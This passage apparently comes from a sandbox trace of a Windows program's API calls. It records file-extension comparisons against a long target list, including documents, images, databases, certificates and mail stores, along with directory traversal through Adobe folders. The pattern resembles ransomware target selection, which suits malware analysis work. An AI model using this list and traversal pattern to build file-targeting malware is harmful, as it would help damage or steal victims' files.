lpString2=".SLV") returned -1 [0265.851] lstrlenW (lpString=".dotm") returned 5 [0265.851] lstrcmpiW (lpString1=".dotm", lpString2="y.SLV") returned -1 [0265.851] lstrlenW (lpString=".dotx") returned 5 [0265.851] lstrcmpiW (lpString1=".dotx", lpString2="y.SLV") returned -1 [0265.851] lstrlenW (lpString=".dpx") returned 4 [0265.852] lstrcmpiW (lpString1=".dpx", lpString2=".SLV") returned -1 [0265.852] lstrlenW (lpString=".dqy") returned 4 [0265.852] lstrcmpiW (lpString1=".dqy", lpString2=".SLV") returned -1 [0265.852] lstrlenW (lpString=".dsn") returned 4 [0265.852] lstrcmpiW (lpString1=".dsn", lpString2=".SLV") returned -1 [0265.852] lstrlenW (lpString=".dt") returned 3 [0265.852] lstrcmpiW (lpString1=".dt", lpString2="SLV") returned -1 [0265.852] lstrlenW (lpString=".dtd") returned 4 [0265.852] lstrcmpiW (lpString1=".dtd", lpString2=".SLV") returned -1 [0265.852] lstrlenW (lpString=".dwg") returned 4 [0265.852] lstrcmpiW (lpString1=".dwg", lpString2=".SLV") returned -1 [0265.852] lstrlenW (lpString=".dwt") returned 4 [0265.852] lstrcmpiW (lpString1=".dwt", lpString2=".SLV") returned -1 [0265.852] lstrlenW (lpString=".dx") returned 3 [0265.852] lstrcmpiW (lpString1=".dx", lpString2="SLV") returned -1 [0265.852] lstrlenW (lpString=".dxf") returned 4 [0265.853] lstrcmpiW (lpString1=".dxf", lpString2=".SLV") returned -1 [0265.853] lstrlenW (lpString=".edml") returned 5 [0265.853] lstrcmpiW (lpString1=".edml", lpString2="y.SLV") returned -1 [0265.853] lstrlenW (lpString=".efd") returned 4 [0265.853] lstrcmpiW (lpString1=".efd", lpString2=".SLV") returned -1 [0265.853] lstrlenW (lpString=".elf") returned 4 [0265.853] lstrcmpiW (lpString1=".elf", lpString2=".SLV") returned -1 [0265.853] lstrlenW (lpString=".emf") returned 4 [0265.853] lstrcmpiW (lpString1=".emf", lpString2=".SLV") returned -1 [0265.853] lstrlenW (lpString=".emz") returned 4 [0265.853] lstrcmpiW (lpString1=".emz", lpString2=".SLV") returned -1 [0265.853] lstrlenW (lpString=".epf") returned 4 [0265.853] lstrcmpiW (lpString1=".epf", lpString2=".SLV") returned -1 [0265.853] lstrlenW (lpString=".eps") returned 4 [0265.854] lstrcmpiW (lpString1=".eps", lpString2=".SLV") returned -1 [0265.854] lstrlenW (lpString=".epsf") returned 5 [0265.854] lstrcmpiW (lpString1=".epsf", lpString2="y.SLV") returned -1 [0265.854] lstrlenW (lpString=".epsp") returned 5 [0265.854] lstrcmpiW (lpString1=".epsp", lpString2="y.SLV") returned -1 [0265.854] lstrlenW (lpString=".erf") returned 4 [0265.854] lstrcmpiW (lpString1=".erf", lpString2=".SLV") returned -1 [0265.854] lstrlenW (lpString=".exr") returned 4 [0265.854] lstrcmpiW (lpString1=".exr", lpString2=".SLV") returned -1 [0265.854] lstrlenW (lpString=".f4v") returned 4 [0265.854] lstrcmpiW (lpString1=".f4v", lpString2=".SLV") returned -1 [0265.854] lstrlenW (lpString=".fido") returned 5 [0265.854] lstrcmpiW (lpString1=".fido", lpString2="y.SLV") returned -1 [0265.855] lstrlenW (lpString=".flm") returned 4 [0265.855] lstrcmpiW (lpString1=".flm", lpString2=".SLV") returned -1 [0265.855] lstrlenW (lpString=".flv") returned 4 [0265.855] lstrcmpiW (lpString1=".flv", lpString2=".SLV") returned -1 [0265.855] lstrlenW (lpString=".frm") returned 4 [0265.855] lstrcmpiW (lpString1=".frm", lpString2=".SLV") returned -1 [0265.855] lstrlenW (lpString=".fxg") returned 4 [0265.855] lstrcmpiW (lpString1=".fxg", lpString2=".SLV") returned -1 [0265.855] lstrlenW (lpString=".geo") returned 4 [0265.855] lstrcmpiW (lpString1=".geo", lpString2=".SLV") returned -1 [0265.855] lstrlenW (lpString=".gif") returned 4 [0265.855] lstrcmpiW (lpString1=".gif", lpString2=".SLV") returned -1 [0265.855] lstrlenW (lpString=".grs") returned 4 [0265.855] lstrcmpiW (lpString1=".grs", lpString2=".SLV") returned -1 [0265.856] lstrlenW (lpString=".gz") returned 3 [0265.856] lstrcmpiW (lpString1=".gz", lpString2="SLV") returned -1 [0265.856] lstrlenW (lpString=".h") returned 2 [0265.856] lstrcmpiW (lpString1=".h", lpString2="LV") returned -1 [0265.856] lstrlenW (lpString=".hdr") returned 4 [0265.856] lstrcmpiW (lpString1=".hdr", lpString2=".SLV") returned -1 [0265.856] lstrlenW (lpString=".hpp") returned 4 [0265.856] lstrcmpiW (lpString1=".hpp", lpString2=".SLV") returned -1 [0265.856] lstrlenW (lpString=".hta") returned 4 [0265.856] lstrcmpiW (lpString1=".hta", lpString2=".SLV") returned -1 [0265.856] lstrlenW (lpString=".htc") returned 4 [0265.856] lstrcmpiW (lpString1=".htc", lpString2=".SLV") returned -1 [0265.856] lstrlenW (lpString=".htm") returned 4 [0265.856] lstrcmpiW (lpString1=".htm", lpString2=".SLV") returned -1 [0265.856] lstrlenW (lpString=".html") returned 5 [0265.857] lstrcmpiW (lpString1=".html", lpString2="y.SLV") returned -1 [0265.857] lstrlenW (lpString=".icb") returned 4 [0265.857] lstrcmpiW (lpString1=".icb", lpString2=".SLV") returned -1 [0265.857] lstrlenW (lpString=".ics") returned 4 [0265.857] lstrcmpiW (lpString1=".ics", lpString2=".SLV") returned -1 [0265.857] lstrlenW (lpString=".iff") returned 4 [0265.857] lstrcmpiW (lpString1=".iff", lpString2=".SLV") returned -1 [0265.857] lstrlenW (lpString=".inc") returned 4 [0265.857] lstrcmpiW (lpString1=".inc", lpString2=".SLV") returned -1 [0265.857] lstrlenW (lpString=".indd") returned 5 [0265.857] lstrcmpiW (lpString1=".indd", lpString2="y.SLV") returned -1 [0265.857] lstrlenW (lpString=".ini") returned 4 [0265.857] lstrcmpiW (lpString1=".ini", lpString2=".SLV") returned -1 [0265.857] lstrlenW (lpString=".iqy") returned 4 [0265.858] lstrcmpiW (lpString1=".iqy", lpString2=".SLV") returned -1 [0265.858] lstrlenW (lpString=".j2c") returned 4 [0265.858] lstrcmpiW (lpString1=".j2c", lpString2=".SLV") returned -1 [0265.858] lstrlenW (lpString=".j2k") returned 4 [0265.858] lstrcmpiW (lpString1=".j2k", lpString2=".SLV") returned -1 [0265.858] lstrlenW (lpString=".java") returned 5 [0265.858] lstrcmpiW (lpString1=".java", lpString2="y.SLV") returned -1 [0265.858] lstrlenW (lpString=".jp2") returned 4 [0265.858] lstrcmpiW (lpString1=".jp2", lpString2=".SLV") returned -1 [0265.858] lstrlenW (lpString=".jpc") returned 4 [0265.858] lstrcmpiW (lpString1=".jpc", lpString2=".SLV") returned -1 [0265.858] lstrlenW (lpString=".jpe") returned 4 [0265.858] lstrcmpiW (lpString1=".jpe", lpString2=".SLV") returned -1 [0265.859] lstrlenW (lpString=".jpeg") returned 5 [0265.859] lstrcmpiW (lpString1=".jpeg", lpString2="y.SLV") returned -1 [0265.859] lstrlenW (lpString=".jpf") returned 4 [0265.859] lstrcmpiW (lpString1=".jpf", lpString2=".SLV") returned -1 [0265.859] lstrlenW (lpString=".jpg") returned 4 [0265.859] lstrcmpiW (lpString1=".jpg", lpString2=".SLV") returned -1 [0265.859] lstrlenW (lpString=".jpx") returned 4 [0265.859] lstrcmpiW (lpString1=".jpx", lpString2=".SLV") returned -1 [0265.859] lstrlenW (lpString=".js") returned 3 [0265.859] lstrcmpiW (lpString1=".js", lpString2="SLV") returned -1 [0265.859] lstrlenW (lpString=".jsf") returned 4 [0265.859] lstrcmpiW (lpString1=".jsf", lpString2=".SLV") returned -1 [0265.859] lstrlenW (lpString=".json") returned 5 [0265.859] lstrcmpiW (lpString1=".json", lpString2="y.SLV") returned -1 [0265.859] lstrlenW (lpString=".jsp") returned 4 [0265.860] lstrcmpiW (lpString1=".jsp", lpString2=".SLV") returned -1 [0265.860] lstrlenW (lpString=".kdc") returned 4 [0265.860] lstrcmpiW (lpString1=".kdc", lpString2=".SLV") returned -1 [0265.860] lstrlenW (lpString=".kmz") returned 4 [0265.860] lstrcmpiW (lpString1=".kmz", lpString2=".SLV") returned -1 [0265.860] lstrlenW (lpString=".kwm") returned 4 [0265.860] lstrcmpiW (lpString1=".kwm", lpString2=".SLV") returned -1 [0265.860] lstrlenW (lpString=".lasso") returned 6 [0265.860] lstrcmpiW (lpString1=".lasso", lpString2="ty.SLV") returned -1 [0265.860] lstrlenW (lpString=".lbi") returned 4 [0265.860] lstrcmpiW (lpString1=".lbi", lpString2=".SLV") returned -1 [0265.860] lstrlenW (lpString=".lgf") returned 4 [0265.860] lstrcmpiW (lpString1=".lgf", lpString2=".SLV") returned -1 [0265.860] lstrlenW (lpString=".lgp") returned 4 [0265.861] lstrcmpiW (lpString1=".lgp", lpString2=".SLV") returned -1 [0265.861] lstrlenW (lpString=".log") returned 4 [0265.861] lstrcmpiW (lpString1=".log", lpString2=".SLV") returned -1 [0265.861] lstrlenW (lpString=".m1v") returned 4 [0265.861] lstrcmpiW (lpString1=".m1v", lpString2=".SLV") returned -1 [0265.861] lstrlenW (lpString=".m4a") returned 4 [0265.861] lstrcmpiW (lpString1=".m4a", lpString2=".SLV") returned -1 [0265.861] lstrlenW (lpString=".m4v") returned 4 [0265.861] lstrcmpiW (lpString1=".m4v", lpString2=".SLV") returned -1 [0265.861] lstrlenW (lpString=".max") returned 4 [0265.861] lstrcmpiW (lpString1=".max", lpString2=".SLV") returned -1 [0265.861] lstrlenW (lpString=".md") returned 3 [0265.861] lstrcmpiW (lpString1=".md", lpString2="SLV") returned -1 [0265.861] lstrlenW (lpString=".mda") returned 4 [0265.862] lstrcmpiW (lpString1=".mda", lpString2=".SLV") returned -1 [0265.862] lstrlenW (lpString=".mdb") returned 4 [0265.862] lstrcmpiW (lpString1=".mdb", lpString2=".SLV") returned -1 [0265.862] lstrlenW (lpString=".mde") returned 4 [0265.862] lstrcmpiW (lpString1=".mde", lpString2=".SLV") returned -1 [0265.862] lstrlenW (lpString=".mdf") returned 4 [0265.862] lstrcmpiW (lpString1=".mdf", lpString2=".SLV") returned -1 [0265.862] lstrlenW (lpString=".mdw") returned 4 [0265.862] lstrcmpiW (lpString1=".mdw", lpString2=".SLV") returned -1 [0265.862] lstrlenW (lpString=".mef") returned 4 [0265.862] lstrcmpiW (lpString1=".mef", lpString2=".SLV") returned -1 [0265.862] lstrlenW (lpString=".mft") returned 4 [0265.862] lstrcmpiW (lpString1=".mft", lpString2=".SLV") returned -1 [0265.862] lstrlenW (lpString=".mfw") returned 4 [0265.862] lstrcmpiW (lpString1=".mfw", lpString2=".SLV") returned -1 [0265.863] lstrlenW (lpString=".mht") returned 4 [0265.863] lstrcmpiW (lpString1=".mht", lpString2=".SLV") returned -1 [0265.863] lstrlenW (lpString=".mhtml") returned 6 [0265.863] lstrcmpiW (lpString1=".mhtml", lpString2="ty.SLV") returned -1 [0265.863] lstrlenW (lpString=".mka") returned 4 [0265.863] lstrcmpiW (lpString1=".mka", lpString2=".SLV") returned -1 [0265.863] lstrlenW (lpString=".mkidx") returned 6 [0265.863] lstrcmpiW (lpString1=".mkidx", lpString2="ty.SLV") returned -1 [0265.863] lstrlenW (lpString=".mkv") returned 4 [0265.863] lstrcmpiW (lpString1=".mkv", lpString2=".SLV") returned -1 [0265.863] lstrlenW (lpString=".mos") returned 4 [0265.863] lstrcmpiW (lpString1=".mos", lpString2=".SLV") returned -1 [0265.864] lstrlenW (lpString=".mov") returned 4 [0265.864] lstrcmpiW (lpString1=".mov", lpString2=".SLV") returned -1 [0265.864] lstrlenW (lpString=".mp3") returned 4 [0265.864] lstrcmpiW (lpString1=".mp3", lpString2=".SLV") returned -1 [0265.864] lstrlenW (lpString=".mp4") returned 4 [0265.864] lstrcmpiW (lpString1=".mp4", lpString2=".SLV") returned -1 [0265.864] lstrlenW (lpString=".mpeg") returned 5 [0265.864] lstrcmpiW (lpString1=".mpeg", lpString2="y.SLV") returned -1 [0265.864] lstrlenW (lpString=".mpg") returned 4 [0265.864] lstrcmpiW (lpString1=".mpg", lpString2=".SLV") returned -1 [0265.864] lstrlenW (lpString=".mpv") returned 4 [0265.864] lstrcmpiW (lpString1=".mpv", lpString2=".SLV") returned -1 [0265.864] lstrlenW (lpString=".mrw") returned 4 [0265.912] lstrcmpiW (lpString1=".mrw", lpString2=".SLV") returned -1 [0265.912] lstrlenW (lpString=".msg") returned 4 [0265.912] lstrcmpiW (lpString1=".msg", lpString2=".SLV") returned -1 [0265.912] lstrlenW (lpString=".mxl") returned 4 [0265.912] lstrcmpiW (lpString1=".mxl", lpString2=".SLV") returned -1 [0265.912] lstrlenW (lpString=".myd") returned 4 [0265.912] lstrcmpiW (lpString1=".myd", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".myi") returned 4 [0265.913] lstrcmpiW (lpString1=".myi", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".nef") returned 4 [0265.913] lstrcmpiW (lpString1=".nef", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".nrw") returned 4 [0265.913] lstrcmpiW (lpString1=".nrw", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".obj") returned 4 [0265.913] lstrcmpiW (lpString1=".obj", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".odb") returned 4 [0265.913] lstrcmpiW (lpString1=".odb", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".odc") returned 4 [0265.913] lstrcmpiW (lpString1=".odc", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".odm") returned 4 [0265.913] lstrcmpiW (lpString1=".odm", lpString2=".SLV") returned -1 [0265.913] lstrlenW (lpString=".odp") returned 4 [0265.913] lstrcmpiW (lpString1=".odp", lpString2=".SLV") returned -1 [0265.914] lstrlenW (lpString=".ods") returned 4 [0265.914] lstrcmpiW (lpString1=".ods", lpString2=".SLV") returned -1 [0265.914] lstrlenW (lpString=".oft") returned 4 [0265.914] lstrcmpiW (lpString1=".oft", lpString2=".SLV") returned -1 [0265.914] lstrlenW (lpString=".one") returned 4 [0265.914] lstrcmpiW (lpString1=".one", lpString2=".SLV") returned -1 [0265.914] lstrlenW (lpString=".onepkg") returned 7 [0265.914] lstrcmpiW (lpString1=".onepkg", lpString2="ity.SLV") returned -1 [0265.914] lstrlenW (lpString=".onetoc2") returned 8 [0265.914] lstrcmpiW (lpString1=".onetoc2", lpString2="lity.SLV") returned -1 [0265.914] lstrlenW (lpString=".opt") returned 4 [0265.914] lstrcmpiW (lpString1=".opt", lpString2=".SLV") returned -1 [0265.914] lstrlenW (lpString=".oqy") returned 4 [0265.914] lstrcmpiW (lpString1=".oqy", lpString2=".SLV") returned -1 [0265.915] lstrlenW (lpString=".orf") returned 4 [0265.915] lstrcmpiW (lpString1=".orf", lpString2=".SLV") returned -1 [0265.915] lstrlenW (lpString=".p12") returned 4 [0265.915] lstrcmpiW (lpString1=".p12", lpString2=".SLV") returned -1 [0265.915] lstrlenW (lpString=".p7b") returned 4 [0265.915] lstrcmpiW (lpString1=".p7b", lpString2=".SLV") returned -1 [0265.915] lstrlenW (lpString=".p7c") returned 4 [0265.915] lstrcmpiW (lpString1=".p7c", lpString2=".SLV") returned -1 [0265.915] lstrlenW (lpString=".pam") returned 4 [0265.915] lstrcmpiW (lpString1=".pam", lpString2=".SLV") returned -1 [0265.915] lstrlenW (lpString=".pbm") returned 4 [0265.915] lstrcmpiW (lpString1=".pbm", lpString2=".SLV") returned -1 [0265.915] lstrlenW (lpString=".pct") returned 4 [0265.915] lstrcmpiW (lpString1=".pct", lpString2=".SLV") returned -1 [0265.916] lstrlenW (lpString=".pcx") returned 4 [0265.916] lstrcmpiW (lpString1=".pcx", lpString2=".SLV") returned -1 [0265.916] lstrlenW (lpString=".pdd") returned 4 [0265.916] lstrcmpiW (lpString1=".pdd", lpString2=".SLV") returned -1 [0265.916] lstrlenW (lpString=".pdf") returned 4 [0265.916] lstrcmpiW (lpString1=".pdf", lpString2=".SLV") returned -1 [0265.916] lstrlenW (lpString=".pdp") returned 4 [0265.916] lstrcmpiW (lpString1=".pdp", lpString2=".SLV") returned -1 [0265.916] lstrlenW (lpString=".pef") returned 4 [0265.916] lstrcmpiW (lpString1=".pef", lpString2=".SLV") returned -1 [0265.916] lstrlenW (lpString=".pem") returned 4 [0265.916] lstrcmpiW (lpString1=".pem", lpString2=".SLV") returned -1 [0265.916] lstrlenW (lpString=".pff") returned 4 [0265.917] lstrcmpiW (lpString1=".pff", lpString2=".SLV") returned -1 [0265.917] lstrlenW (lpString=".pfm") returned 4 [0265.917] lstrcmpiW (lpString1=".pfm", lpString2=".SLV") returned -1 [0265.917] lstrlenW (lpString=".pfx") returned 4 [0265.917] lstrcmpiW (lpString1=".pfx", lpString2=".SLV") returned -1 [0265.917] lstrlenW (lpString=".pgm") returned 4 [0265.917] lstrcmpiW (lpString1=".pgm", lpString2=".SLV") returned -1 [0265.917] lstrlenW (lpString=".php") returned 4 [0265.917] lstrcmpiW (lpString1=".php", lpString2=".SLV") returned -1 [0265.917] lstrlenW (lpString=".php3") returned 5 [0265.917] lstrcmpiW (lpString1=".php3", lpString2="y.SLV") returned -1 [0265.917] lstrlenW (lpString=".php4") returned 5 [0265.918] lstrcmpiW (lpString1=".php4", lpString2="y.SLV") returned -1 [0265.918] lstrlenW (lpString=".php5") returned 5 [0265.918] lstrcmpiW (lpString1=".php5", lpString2="y.SLV") returned -1 [0265.918] lstrlenW (lpString=".phtml") returned 6 [0265.918] lstrcmpiW (lpString1=".phtml", lpString2="ty.SLV") returned -1 [0265.918] lstrlenW (lpString=".pict") returned 5 [0265.918] lstrcmpiW (lpString1=".pict", lpString2="y.SLV") returned -1 [0265.918] lstrlenW (lpString=".pl") returned 3 [0265.918] lstrcmpiW (lpString1=".pl", lpString2="SLV") returned -1 [0265.918] lstrlenW (lpString=".pls") returned 4 [0265.918] lstrcmpiW (lpString1=".pls", lpString2=".SLV") returned -1 [0265.918] lstrlenW (lpString=".pm") returned 3 [0265.918] lstrcmpiW (lpString1=".pm", lpString2="SLV") returned -1 [0265.919] lstrlenW (lpString=".png") returned 4 [0265.919] lstrcmpiW (lpString1=".png", lpString2=".SLV") returned -1 [0265.919] lstrlenW (lpString=".pnm") returned 4 [0265.919] lstrcmpiW (lpString1=".pnm", lpString2=".SLV") returned -1 [0265.919] lstrlenW (lpString=".pot") returned 4 [0265.919] lstrcmpiW (lpString1=".pot", lpString2=".SLV") returned -1 [0265.919] lstrlenW (lpString=".potm") returned 5 [0265.919] lstrcmpiW (lpString1=".potm", lpString2="y.SLV") returned -1 [0265.919] lstrlenW (lpString=".potx") returned 5 [0265.919] lstrcmpiW (lpString1=".potx", lpString2="y.SLV") returned -1 [0265.919] lstrlenW (lpString=".ppa") returned 4 [0265.919] lstrcmpiW (lpString1=".ppa", lpString2=".SLV") returned -1 [0265.919] lstrlenW (lpString=".ppam") returned 5 [0265.919] lstrcmpiW (lpString1=".ppam", lpString2="y.SLV") returned -1 [0265.919] lstrlenW (lpString=".ppm") returned 4 [0265.920] lstrcmpiW (lpString1=".ppm", lpString2=".SLV") returned -1 [0265.920] lstrlenW (lpString=".pps") returned 4 [0265.920] lstrcmpiW (lpString1=".pps", lpString2=".SLV") returned -1 [0265.920] lstrlenW (lpString=".ppsm") returned 5 [0265.920] lstrcmpiW (lpString1=".ppsm", lpString2="y.SLV") returned -1 [0265.920] lstrlenW (lpString=".ppt") returned 4 [0265.920] lstrcmpiW (lpString1=".ppt", lpString2=".SLV") returned -1 [0265.920] lstrlenW (lpString=".pptm") returned 5 [0265.920] lstrcmpiW (lpString1=".pptm", lpString2="y.SLV") returned -1 [0265.920] lstrlenW (lpString=".pptx") returned 5 [0265.920] lstrcmpiW (lpString1=".pptx", lpString2="y.SLV") returned -1 [0265.920] lstrlenW (lpString=".prn") returned 4 [0265.920] lstrcmpiW (lpString1=".prn", lpString2=".SLV") returned -1 [0265.920] lstrlenW (lpString=".ps") returned 3 [0265.921] lstrcmpiW (lpString1=".ps", lpString2="SLV") returned -1 [0265.921] lstrlenW (lpString=".psb") returned 4 [0265.921] lstrcmpiW (lpString1=".psb", lpString2=".SLV") returned -1 [0265.921] lstrlenW (lpString=".psd") returned 4 [0265.921] lstrcmpiW (lpString1=".psd", lpString2=".SLV") returned -1 [0265.921] lstrlenW (lpString=".pst") returned 4 [0265.921] lstrcmpiW (lpString1=".pst", lpString2=".SLV") returned -1 [0265.921] lstrlenW (lpString=".ptx") returned 4 [0265.921] lstrcmpiW (lpString1=".ptx", lpString2=".SLV") returned -1 [0265.921] lstrlenW (lpString=".pub") returned 4 [0265.921] lstrcmpiW (lpString1=".pub", lpString2=".SLV") returned -1 [0265.921] lstrlenW (lpString=".pwm") returned 4 [0265.921] lstrcmpiW (lpString1=".pwm", lpString2=".SLV") returned -1 [0265.921] lstrlenW (lpString=".pxr") returned 4 [0265.922] lstrcmpiW (lpString1=".pxr", lpString2=".SLV") returned -1 [0265.922] lstrlenW (lpString=".py") returned 3 [0265.922] lstrcmpiW (lpString1=".py", lpString2="SLV") returned -1 [0265.922] lstrlenW (lpString=".qt") returned 3 [0265.922] lstrcmpiW (lpString1=".qt", lpString2="SLV") returned -1 [0265.922] lstrlenW (lpString=".r3d") returned 4 [0265.922] lstrcmpiW (lpString1=".r3d", lpString2=".SLV") returned -1 [0265.922] lstrlenW (lpString=".raf") returned 4 [0265.922] lstrcmpiW (lpString1=".raf", lpString2=".SLV") returned -1 [0265.922] lstrlenW (lpString=".rar") returned 4 [0265.922] lstrcmpiW (lpString1=".rar", lpString2=".SLV") returned -1 [0265.922] lstrlenW (lpString=".raw") returned 4 [0265.922] lstrcmpiW (lpString1=".raw", lpString2=".SLV") returned -1 [0266.384] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.384] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0266.392] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.392] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0266.394] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.394] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0266.397] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.397] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0266.400] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.400] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0266.412] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.412] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0266.617] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 